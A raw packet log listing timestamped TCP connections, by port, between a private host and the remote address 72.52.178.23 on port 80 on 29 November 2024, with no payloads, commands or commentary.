Nov 29, 2024 01:52:39.630987883 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.631016016 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.673671961 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.673882961 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.794019938 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.794090986 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.841531038 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.955195904 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.955197096 CET	49783	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.957487106 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.960441113 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.979950905 CET	80	49783	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.980716944 CET	49783	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.066962004 CET	49785	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.130028009 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.187067986 CET	80	49785	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.188457012 CET	49785	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.188575983 CET	49785	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.249969959 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.250127077 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.250339985 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.250339985 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.250394106 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.250420094 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.308583975 CET	80	49785	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370259047 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370376110 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370424032 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370433092 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370496035 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.370534897 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370543003 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370589972 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.370609045 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370616913 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370667934 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.370711088 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370721102 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370763063 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.370773077 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370780945 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.370827913 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.490535021 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.490598917 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.490608931 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.490715027 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.490750074 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.490758896 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.490813971 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.533473015 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.534446001 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.654550076 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.654628038 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:40.701491117 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.817466974 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:40.817610979 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.021492958 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.021567106 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.255989075 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.258467913 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.378531933 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.378570080 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.378668070 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.378684044 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.378815889 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.378865957 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.437453985 CET	80	49785	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.437541008 CET	49785	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.437602997 CET	49785	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.494905949 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.495007038 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.495155096 CET	49786	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.551542044 CET	49787	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.557542086 CET	80	49785	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.614964962 CET	80	49786	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.662684917 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.671551943 CET	80	49787	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.671634912 CET	49787	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.671772003 CET	49787	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.782610893 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.782725096 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.782862902 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.783000946 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.783000946 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.783072948 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.791655064 CET	80	49787	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.902738094 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.902911901 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.902929068 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.902972937 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.902987003 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.903008938 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903023005 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.903028965 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903049946 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903064013 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903120041 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.903153896 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.903162956 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903196096 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903227091 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.903265953 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.903270006 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903301001 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.903306961 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903336048 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:41.903367996 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:41.903378010 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.023027897 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.023060083 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.023132086 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.023150921 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.023282051 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.023307085 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.023334026 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.023351908 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.065505028 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.065610886 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.185560942 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.185658932 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.229506016 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.229578972 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.349560022 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.437513113 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.437576056 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.685529947 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.685587883 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.736865044 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.736941099 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.805560112 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.812056065 CET	80	49787	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.812139988 CET	49787	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.812189102 CET	49787	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.857214928 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.857244968 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.857362032 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.857426882 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.857516050 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.857533932 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.857592106 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.932117939 CET	49789	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.932131052 CET	80	49787	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.966587067 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:42.966644049 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:42.966680050 CET	49788	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.052176952 CET	80	49789	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.052659988 CET	49789	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.052773952 CET	49789	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.086622000 CET	80	49788	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.132172108 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.172920942 CET	80	49789	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.253104925 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.254440069 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.254591942 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.254626036 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.254683018 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.254707098 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.374773979 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.374784946 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.374826908 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.374886990 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.374913931 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.374922037 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.374980927 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.374989986 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.375024080 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.375066042 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.375081062 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.375088930 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.375118971 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.375137091 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.375165939 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.375238895 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.375247955 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.375252008 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.375300884 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.494920969 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.494946957 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.495027065 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.495052099 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.495095015 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.495151043 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.541522980 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.541623116 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.657516003 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.658467054 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.705491066 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.705705881 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:43.821501017 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.921550035 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:43.923963070 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.169749975 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.169809103 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.172173977 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.172245026 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.284033060 CET	80	49789	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.285726070 CET	49789	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.285784960 CET	49789	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.291446924 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.292184114 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.292200089 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.292299032 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.292309999 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.292388916 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.292423010 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.292459965 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.392807961 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.394450903 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.394491911 CET	49790	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.395157099 CET	49791	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.405827045 CET	80	49789	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.514457941 CET	80	49790	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.515050888 CET	80	49791	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.515139103 CET	49791	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.515260935 CET	49791	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.548003912 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.635174036 CET	80	49791	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.668026924 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.668873072 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.669003963 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.669038057 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.669097900 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.669125080 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.788974047 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789053917 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789064884 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789076090 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789112091 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.789135933 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.789150953 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789206028 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.789208889 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789217949 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789238930 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789272070 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.789272070 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.789335012 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789376974 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.789412975 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789460897 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789479971 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.789482117 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.789500952 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.789522886 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.909245014 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.909255028 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.909310102 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.909352064 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.909360886 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.909403086 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:44.953507900 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:44.954478979 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.073537111 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.073645115 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.117522955 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.117598057 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.237514019 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.325596094 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.325668097 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.577593088 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.578135014 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.600456953 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.602440119 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.653364897 CET	80	49791	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.654434919 CET	49791	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.654484987 CET	49791	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.698156118 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.722619057 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.722632885 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.722709894 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.722718954 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.722801924 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.722835064 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.722959995 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.769346952 CET	49793	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.774518967 CET	80	49791	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.821227074 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.821294069 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.821372986 CET	49792	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.889324903 CET	80	49793	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.889389992 CET	49793	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.889520884 CET	49793	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:45.941524029 CET	80	49792	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:45.968530893 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.009412050 CET	80	49793	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.088577032 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.088663101 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.088804007 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.088917017 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.089009047 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.089025974 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.208978891 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209000111 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209008932 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209086895 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209110022 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209141016 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.209156036 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209160089 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.209165096 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209217072 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.209264040 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209280014 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209311008 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.209323883 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.209387064 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209403038 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209434986 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.209443092 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.209444046 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.209491014 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.329233885 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.329252958 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.329354048 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.329397917 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.329397917 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.329416037 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.329454899 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.373712063 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.373795986 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.493550062 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.493635893 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.537601948 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.537673950 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.657550097 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.745611906 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.745656967 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:46.993654966 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:46.993707895 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.027318954 CET	80	49793	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.027380943 CET	49793	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.027419090 CET	49793	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.043198109 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.043273926 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.113678932 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.144347906 CET	49795	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.147509098 CET	80	49793	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.163285017 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.163295984 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.163371086 CET	80	49794	72.52.178.23	192.168.2.4
